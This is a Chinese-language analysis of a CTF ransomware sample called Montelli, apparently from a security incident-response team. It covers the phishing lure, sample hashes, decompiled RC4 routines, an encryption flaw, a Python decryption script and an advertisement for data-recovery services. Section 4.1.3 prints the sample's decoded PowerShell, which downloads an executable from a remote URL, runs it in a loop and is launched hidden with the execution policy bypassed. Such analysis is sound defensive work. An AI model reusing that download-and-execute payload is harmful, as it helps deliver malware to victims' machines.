1.背景
该CTF挑战题目完整复现了黑客的攻击链路,攻击者通过伪造钓鱼页面引导受害者下载恶意软件。用户访问伪造的 Microsoft 365 官网后,在点击“Windows Installer (64-bit)”下载选项时,页面会自动跳转至伪造的 GitHub 项目链接,并下载加密器的恶意程序。
伪造Microsoft 365官网
受害者双击运行该程序后,勒索软件会访问远程服务器加载定制的hacked.png图片并当作壁纸,通过调用api遍历文件,判断文件后缀是否为.Montelli,加密完文件后创建一个被加了勒索后缀的文件,从而完成攻击链闭环。(目前该服务器已关停,无法访问该图片)
远程服务器:https://raw.githubusercontent.com/R4ven1elia/something/refs/heads/main/hacked.png
定制图片
在所有文件被添加.Montelli后缀后,会弹出的勒索提示信息告知受害者支付1337美元到黑客提供的Pi网络钱包地址 。
翻译:
噢,不!你的文件被劫持了!
亲爱的极其不幸的电脑用户,
我们很遗憾地通知你,你珍贵的文件被现存最复杂、训练有素、极其懒惰的勒索软件绑架了。但是不要害怕!你可以找回他们!
如何恢复它们?
不要害怕,我亲爱的用户,
你可以简单地在Pi网络中支付我们1337美元,我们已经为你提供了我们Pi网络钱包的地址,只要转账给我们1337,我们会给你发送你的解密密钥
发送1337$到此Pl网络地址,否则您的所有数据将被删除!!
2.恶意文件基础信息
2.1 加密器基本信息
文件名 | office64 |
---|---|
编译器 | Microsoft Visual C/C++(19.36.34435)LTCG/C++ |
大小 | 300 KB |
操作系统 | Windows(Vista)AMD64, 64位, Console |
架构 | 386 |
模式 | 64 位 |
类型 | EXEC |
字节序 | LE |
MD5 | b7da7b88697e543da7c734ff276b5fe2 |
SHA1 | 0f9429137d002162c3cf00df80ff352333a715da |
SHA256 | 09faaeeb52d5c0bdba222478e9787a5232bb88003ea42282bd7edc855a320de3 |
3.加密后文件分析
3.1威胁分析
病毒家族 | Montelli |
---|---|
首次出现时间/捕获分析时间 | 2025/02/28 || 2025/03/7 |
威胁类型 | 勒索软件,加密病毒 |
加密文件扩展名 | .Montelli |
感染症状 | 无法打开存储在计算机上的文件,以前功能的文件现在具有不同的扩展名(例如,solar.docx.Montelli)。桌面上会显示一条勒索要求消息。网络犯罪分子要求支付赎金(通常以比特币)来解锁您的文件。 |
感染方式 | 受感染的电子邮件附件(宏)、恶意广告、漏洞利用、恶意链接 |
受灾影响 | 所有文件都经过加密,如果不支付赎金就无法打开。其他密码窃取木马和恶意软件感染可以与勒索软件感染一起安装。 |
3.2 加密的测试文件
文件名
具体内容:
加密文件名特征:
加密文件名 = 原始文件名+Montelli,例如:sierting.txt.Montelli
加密算法:
文件加密使用rc4算法,密钥嵌入加密器中。
rc4密钥生成:
KEY:
FLAG{s1mpl3_3nCrYpt1on_
程序执行流程:
4逆向分析
4.1加密器逆向分析
4.1.1RC4_KSA函数
根据rc4密钥初始化s数组
__int64 __fastcall sub_140002E70(unsigned __int64 a1, _QWORD *a2)
{
char *v3; // rbp
__int64 n256; // rsi
__int64 v6; // rdx
unsigned __int64 n0x100; // rcx
char *v8; // rax
unsigned __int64 v9; // rbx
__int64 v10; // rdx
__m128i si128; // xmm3
int n256_1; // ecx
__int64 v13; // rdx
__m128 v14; // xmm2
unsigned int n8; // ecx
__int64 n8_1; // r8
unsigned int v17; // eax
__m128i v18; // xmm0
__m128i v19; // xmm1
__m128i v20; // xmm0
__m128i v21; // xmm1
__m128i v22; // xmm0
__m128i v23; // xmm0
__m128i v24; // xmm0
__m128i v25; // xmm1
__m128i v26; // xmm1
__int64 v27; // r8
unsigned __int64 v28; // r9
_QWORD *v29; // rcx
__int64 v30; // r10
int v31; // eax
char v32; // cl
__int64 v33; // rdx
__int64 result; // rax
v3 = *(char **)(a1 + 8);
n256 = 256LL;
v6 = *(_QWORD *)a1;
n0x100 = (unsigned __int64)&v3[-*(_QWORD *)a1];
if ( n0x100 <= 0x100 )
{
if ( n0x100 >= 0x100 )
goto LABEL_8;
if ( (unsigned __int64)(*(_QWORD *)(a1 + 16) - v6) < 0x100 )
{
sub_140008E60(a1);
goto LABEL_8;
}
v9 = 256 - n0x100;
memset(v3, 0, 256 - n0x100);
v8 = &v3[v9];
}
else
{
v8 = (char *)(v6 + 256);
}
*(_QWORD *)(a1 + 8) = v8;
LABEL_8:
v10 = *(_QWORD *)a1;
si128 = _mm_load_si128((const __m128i *)&xmmword_14000D850);
n256_1 = 0;
if ( *(_QWORD *)a1 > a1 || *(_QWORD *)a1 + 255LL < a1 )
{
v14 = (__m128)_mm_load_si128((const __m128i *)&xmmword_14000D860);
n8 = 8;
n8_1 = 8LL;
do
{
n8_1 += 16LL;
v17 = n8 + 4;
v18 = (__m128i)_mm_and_ps((__m128)_mm_add_epi32(_mm_shuffle_epi32(_mm_cvtsi32_si128(n8 - 8), 0), si128), v14);
v19 = (__m128i)_mm_and_ps((__m128)_mm_add_epi32(_mm_shuffle_epi32(_mm_cvtsi32_si128(n8 - 4), 0), si128), v14);
v20 = _mm_packus_epi16(v18, v18);
v21 = _mm_packus_epi16(v19, v19);
*(_DWORD *)(v10 + n8_1 - 24) = _mm_cvtsi128_si32(_mm_packus_epi16(v20, v20));
*(_DWORD *)(v10 + n8_1 - 20) = _mm_cvtsi128_si32(_mm_packus_epi16(v21, v21));
v22 = _mm_cvtsi32_si128(n8);
n8 += 16;
v23 = (__m128i)_mm_and_ps((__m128)_mm_add_epi32(_mm_shuffle_epi32(v22, 0), si128), v14);
v24 = _mm_packus_epi16(v23, v23);
v25 = (__m128i)_mm_and_ps((__m128)_mm_add_epi32(_mm_shuffle_epi32(_mm_cvtsi32_si128(v17), 0), si128), v14);
*(_DWORD *)(n8_1 + v10 - 16) = _mm_cvtsi128_si32(_mm_packus_epi16(v24, v24));
v26 = _mm_packus_epi16(v25, v25);
*(_DWORD *)(v10 + n8_1 - 12) = _mm_cvtsi128_si32(_mm_packus_epi16(v26, v26));
}
while ( (int)(n8 - 8) < 256 );
}
else
{
v13 = 0LL;
do
*(_BYTE *)(++v13 + *(_QWORD *)a1 - 1) = n256_1++;
while ( n256_1 < 256 );
}
*(_DWORD *)(a1 + 28) = 0;
v27 = 0LL;
v28 = 0LL;
do
{
v29 = a2;
if ( a2[3] > 0xFuLL )
v29 = (_QWORD *)*a2;
v30 = *(_QWORD *)a1;
v31 = (*(_DWORD *)(a1 + 28) + *(unsigned __int8 *)(*(_QWORD *)a1 + v27) + *((unsigned __int8 *)v29 + v28 % a2[2]))
% 256;
*(_DWORD *)(a1 + 28) = v31;
++v28;
v32 = *(_BYTE *)(v30 + v27);
v33 = v31;
result = *(unsigned __int8 *)(v31 + v30);
*(_BYTE *)(v30 + v27++) = result;
*(_BYTE *)(v33 + v30) = v32;
--n256;
}
while ( n256 );
*(_QWORD *)(a1 + 24) = 0LL;
return result;
}
4.1.2RC4加密函数
根据输入的s数组对输入的数据进行加密,由于加密完成后未对S盒进行重置操作,因此会导致如下问题
加密存在BUG:
在创建多线程的部分,该勒索的所有多线程仅仅只处理了一次RC4的SBOX初始化部分,加密完毕后并未针对RC4的SBOX再次初始化,所以就导致了RC4加密后,SBOX的值发生改变,所以会影响后续加密。
// Hidden C++ exception states: #wind=3
_QWORD *__fastcall sub_140003060(__int64 *a1, _QWORD *a2, char *a3)
{
char *v3; // r14
unsigned __int64 n0xF; // rax
char *v7; // rdi
char *v8; // rcx
char *v9; // rbp
char v10; // r9
int v11; // eax
__int64 v12; // rdx
unsigned __int8 *v13; // r8
int v14; // eax
unsigned __int8 *v15; // rdx
unsigned __int8 v16; // cl
char v17; // r9
unsigned __int64 n0xF_2; // rcx
unsigned __int64 n0xF_1; // rdx
_QWORD *v20; // rax
v3 = a3;
*(_OWORD *)a2 = 0LL;
a2[2] = 0LL;
a2[3] = 15LL;
*(_BYTE *)a2 = 0;
n0xF = *((_QWORD *)a3 + 2);
if ( n0xF > 0xF )
{
sub_140007F10(a2);
a2[2] = 0LL;
n0xF = *((_QWORD *)v3 + 2);
}
if ( *((_QWORD *)v3 + 3) <= 0xFuLL )
{
v7 = v3;
v8 = v3;
}
else
{
v7 = *(char **)v3;
v8 = *(char **)v3;
v3 = *(char **)v3;
}
v9 = &v8[n0xF];
if ( v3 != &v8[n0xF] )
{
do
{
v10 = *v7;
v11 = (*((_DWORD *)a1 + 6) + 1) % 256;
*((_DWORD *)a1 + 6) = v11;
v12 = *a1;
v13 = (unsigned __int8 *)(*a1 + v11);
v14 = (*((_DWORD *)a1 + 7) + *v13) % 256;
*((_DWORD *)a1 + 7) = v14;
v15 = (unsigned __int8 *)(v14 + v12);
v16 = *v13;
*v13 = *v15;
*v15 = v16;
v17 = *(_BYTE *)((unsigned __int8)(*(_BYTE *)(*((int *)a1 + 6) + *a1) + *(_BYTE *)(*((int *)a1 + 7) + *a1)) + *a1) ^ v10;
n0xF_2 = a2[2];
n0xF_1 = a2[3];
if ( n0xF_2 >= n0xF_1 )
{
sub_140008190(a2, n0xF_1, *a1, v17);
}
else
{
a2[2] = n0xF_2 + 1;
v20 = a2;
if ( n0xF_1 > 0xF )
v20 = (_QWORD *)*a2;
*((_BYTE *)v20 + n0xF_2) = v17;
*((_BYTE *)v20 + n0xF_2 + 1) = 0;
}
++v7;
}
while ( v7 != v9 );
}
return a2;
}
4.1.3壁纸替换函数
将自带的字符串解码后并执行
解码后结果如下,该代码的作用是在远程加载一个图片并当作壁纸
$imageUrl = "https://raw.githubusercontent.com/R4ven1elia/something/refs/heads/main/hacked.png"
\r\n
$desktopPath = [Environment]::GetFolderPath("Desktop")
\r\n
$outputFile = Join-Path -Path $desktopPath -ChildPath "hacked.png"
\r\n
Invoke-WebRequest -Uri $imageUrl -OutFile $outputFile
\r\n
Add-Type -TypeDefinition @"
\r\n
using System;
\r\n
using System.Runtime.InteropServices;
\r\n
public class Wallpaper {
\r\n
[DllImport("user32.dll", CharSet = CharSet.Auto)]
\r\n
public static extern int SystemParametersInfo(int uAction, int uParam, string lpvParam, int fuWinIni);
\r\n
public const int SPI_SETDESKWALLPAPER = 0x0014;
\r\n
public const int SPIF_UPDATEINIFILE = 0x01;
\r\n
public const int SPIF_SENDCHANGE = 0x02;
\r\n
}
\r\n
"@
\r\n\r\n
[Wallpaper]::SystemParametersInfo([Wallpaper]::SPI_SETDESKWALLPAPER, 0, $outputFile, [Wallpaper]::SPIF_UPDATEINIFILE -bor [Wallpaper]::SPIF_SENDCHANGE)
\r\n\r\n
$executeURL = "https://drive.usercontent.google.com/download?id=15SxZaEWsqN64G-dGDWi5C31f94CpuuZc&export=download&confirm=t&uuid=b75378f6-8f6c-4166-a88d-75319d1472fa"
\r\n
$tempFilePath = "$env:TEMP\\run.exe"
\r\n
if (-Not (Test-Path $tempFilePath)) {
\r\n
Invoke-WebRequest -Uri $executeURL -OutFile $tempFilePath
\r\n}
\r\n
\r\n
while ($true) {
\r\n
# Start the process
\r\n
$process = Start-Process -FilePath $tempFilePath -PassThru
\r\n
\r\n
# Wait for the process to exit
\r\n
$process.WaitForExit()
\r\n
\r\n
# Optional delay before restarting
\r\n
Start-Sleep -Seconds 0
\r\n}
将这个写入C:\\Users\\username\\dosomething.ps1
并执行如下poweshell指令,隐藏窗口执行上面的替换壁纸的代码
powershell -WindowStyle Hidden -ExecutionPolicy Bypass -File "C:\\Users\\username\\dosomething.ps1
4.1.4文件遍历
调用api遍历文件
判断后缀是否为.Montelli
加密完文件后创建一个被加了勒索后缀的文件,然后写入加密内容
删除原文件
4.1.5多线程启动加密
使用多线程异步执行加密
5.恢复脚本制作
恢复思路如下:调用rc4算法使用密钥FLAG{s1mpl3_3nCrYpt1on_
对加密文件解密。
但是由于该加密器加密存在bug:在创建多线程的部分,该勒索的所有多线程仅仅只处理了一次RC4的SBOX初始化部分,加密完毕后并未针对RC4的SBOX再次初始化,所以就导致了RC4加密后,SBOX的值发生改变,所以会影响后续加密。因此使用密钥解密只能解密出少数几个文件,恢复代码如下
class RC4:
def __init__(self, key):
"""初始化 RC4 状态"""
self.S = list(range(256)) # 初始化 S 数组
j = 0
# 密钥调度算法 (KSA)
for i in range(256):
j = (j + self.S[i] + ord(key[i % len(key)])) % 256
self.S[i], self.S[j] = self.S[j], self.S[i] # 交换 S[i] 和 S[j]
def decrypt(self, ciphertext):
"""解密函数"""
i = j = 0
plaintext = []
# 伪随机生成算法 (PRGA)
for byte in ciphertext:
i = (i + 1) % 256
j = (j + self.S[i]) % 256
self.S[i], self.S[j] = self.S[j], self.S[i] # 交换 S[i] 和 S[j]
k = self.S[(self.S[i] + self.S[j]) % 256]
plaintext.append(byte ^ k) # 异或操作
return bytes(plaintext)
def rc4_decrypt_file(input_file, output_file, key):
"""解密文件"""
# 读取加密文件
with open(input_file, "rb") as f:
ciphertext = f.read()
# 初始化 RC4
rc4 = RC4(key)
# 解密数据
plaintext = rc4.decrypt(ciphertext)
# 写入解密后的文件
with open(output_file, "wb") as f:
f.write(plaintext)
# 示例用法
key = "FLAG{s1mpl3_3nCrYpt1on_"
input_file = "" # 加密文件路径
output_file = "" # 解密文件路径
rc4_decrypt_file(input_file, output_file, key)
print(f"文件已解密,保存到 {output_file}")
6.病毒分析概览
本案例中,Montelli勒索软件因硬编码密钥暴露(FLAG{s1mpl3_3nCrYpt1on_
)导致可以对被加密文件进行解密,但是由于RC4加密实现缺陷(S盒单次初始化+状态污染)导致加密漏洞,结合其只能解密小部分文件。
7. 安全建议
1. 风险消减措施
资产梳理排查目标: 根据实际情况,对内外网资产进行分时期排查
服务方式: 调研访谈、现场勘查、工具扫描
服务关键内容: 流量威胁监测系统排查、互联网暴露面扫描服务、技术加固服务、集权系统排查
2. 安全设备调优
目标
通过对安全现状的梳理和分析,识别安全策略上的不足,结合目标防御、权限最小化、缩小攻击面等一系列参考原则,对设备的相关配置策略进行改进调优,一方面,减低无效或低效规则的出现频次;另一方面,对缺失或遗漏的规则进行补充,实现将安全设备防护能力最优化。
主要目标设备
网络安全防护设备、系统防护软件、日志审计与分析设备、安全监测与入侵识别设备。
3. 全员安全意识增强调优
目标:
通过网络安全意识宣贯、培训提升全方位安全能力
形式:
培训及宣贯
线下培训课表
若无法组织线下的集体培训,考虑两种方式:
1.提供相关的安全意识培训材料,由上而下分发学习
2.组织相关人员线上开会学习。线上培训模式。
线上学习平台
以下是solar安全团队近期处理过的常见勒索病毒后缀:后缀.360勒索病毒,.halo勒索病毒,.phobos勒索病毒,.Lockfiles勒索病毒,.stesoj勒索病毒,.src勒索病毒,.svh勒索病毒,.Elbie勒索病毒,.Wormhole勒索病毒.live勒索病毒, .rmallox勒索病毒, .mallox 勒索病毒,.hmallox勒索病毒,.jopanaxye勒索病毒, .2700勒索病毒, .elbie勒索病毒, .mkp勒索病毒, .dura勒索病毒, .halo勒索病毒, .DevicData勒索病毒, .faust勒索病毒, ..locky勒索病毒, .cryptolocker勒索病毒, .cerber勒索病毒, .zepto勒索病毒, .wannacry勒索病毒, .cryptowall勒索病毒, .teslacrypt勒索病毒, .gandcrab勒索病毒, .dharma勒索病毒, .phobos勒索病毒, .lockergoga勒索病毒, .coot勒索病毒, .lockbit勒索病毒, .nemty勒索病毒, .contipa勒索病毒, .djvu勒索病毒, .marlboro勒索病毒, .stop勒索病毒, .etols勒索病毒, .makop勒索病毒, .mado勒索病毒, .skymap勒索病毒, .aleta勒索病毒, .btix勒索病毒, .varasto勒索病毒, .qewe勒索病毒, .mylob勒索病毒, .coharos勒索病毒, .kodc勒索病毒, .tro勒索病毒, .mbed勒索病毒, .wannaren勒索病毒, .babyk勒索病毒, .lockfiles勒索病毒, .locked勒索病毒, .DevicData-P-XXXXXXXX勒索病毒, .lockbit3.0勒索病毒, .blackbit勒索病毒等。
勒索攻击作为成熟的攻击手段,很多勒索家族已经形成了一套完整的商业体系,并且分支了很多团伙组织,导致勒索病毒迭代了多个版本。而每个家族擅用的攻击手法皆有不同,TellYouThePass勒索软件家族常常利用系统漏洞进行攻击;Phobos勒索软件家族通过RDP暴力破解进行勒索;Mallox勒索软件家族利用数据库及暴力破解进行加密,攻击手法极多防不胜防。
而最好的预防方法就是针对自身业务进行定期的基线加固、补丁更新及数据备份,在其基础上加强公司安全人员意识。如果您想了解有关勒索病毒的最新发展情况,或者需要获取相关帮助,请关注“solar专业应急响应团队”。
8. 团队介绍
团队坚持自主研发及创新,在攻防演练平台、网络安全竞赛平台、网络安全学习平台方面加大研发投入,目前已获得十几项专利及知识产权。团队也先后通过了ISO9001质量管理体系、ISO14000环境管理体系、ISO45001职业安全健康管理体系 、ITSS(信息技术服务运行维护标准四级)等认证,已构建了网络安全行业合格的资质体系;
9. 我们的数据恢复服务流程
多年的数据恢复处理经验,在不断对客户服务优化的过程中搭建了"免费售前+安心保障+专业恢复+安全防御"一体化的专业服务流程。
① 免费咨询/数据诊断分析
专业的售前技术顾问服务,免费在线咨询,可第一时间获取数据中毒后的正确处理措施,防范勒索病毒在内网进一步扩散或二次执行,避免错误操作导致数据无法恢复。
售前技术顾问沟通了解客户的机器中毒相关信息,结合团队数据恢复案例库的相同案例进行分析评估,初步诊断分析中毒数据的加密/损坏情况。
② 评估报价/数据恢复方案
您获取售前顾问的初步诊断评估信息后,若同意进行进一步深入的数据恢复诊断,我们将立即安排专业病毒分析工程师及数据恢复工程师进行病毒逆向分析及数据恢复检测分析。
专业数据恢复工程师根据数据检测分析结果,定制数据恢复方案(恢复价格/恢复率/恢复工期),并为您解答数据恢复方案的相关疑问。
③ 确认下单/签订合同
您清楚了解数据恢复方案后,您可自主选择以下下单方式:
双方签署对公合同:根据中毒数据分析情况,量身定制输出数据恢复合同,合同内明确客户的数据恢复内容、数据恢复率、恢复工期及双方权责条款,双方合同签订,正式进入数据恢复专业施工阶段,数据恢复后进行验证确认,数据验证无误,交易完成。
④ 开始数据恢复专业施工
安排专业数据恢复工程师团队全程服务,告知客户数据恢复过程注意事项及相关方案措施,并可根据客户需求及数据情况,可选择上门恢复/远程恢复。
数据恢复过程中,团队随时向您报告数据恢复每一个节点工作进展(数据扫描 → 数据检测 → 数据确认 → 恢复工具定制 → 执行数据恢复 → 数据完整性确认)。
⑤ 数据验收/安全防御方案
完成数据恢复后,我司将安排数据分析工程师进行二次检查确认数据恢复完整性,充分保障客户的数据恢复权益,二次检测确认后,通知客户进行数据验证。
客户对数据进行数据验证完成后,我司将指导后续相关注意事项及安全防范措施,并可提供专业的企业安全防范建设方案及安全顾问服务,抵御勒索病毒再次入侵。
我们在此郑重承诺:
不成功不收费
全程一对一服务
365天不间断服务
免费提供安全方案
24h服务热线:
18894665383
17864099776
18299173318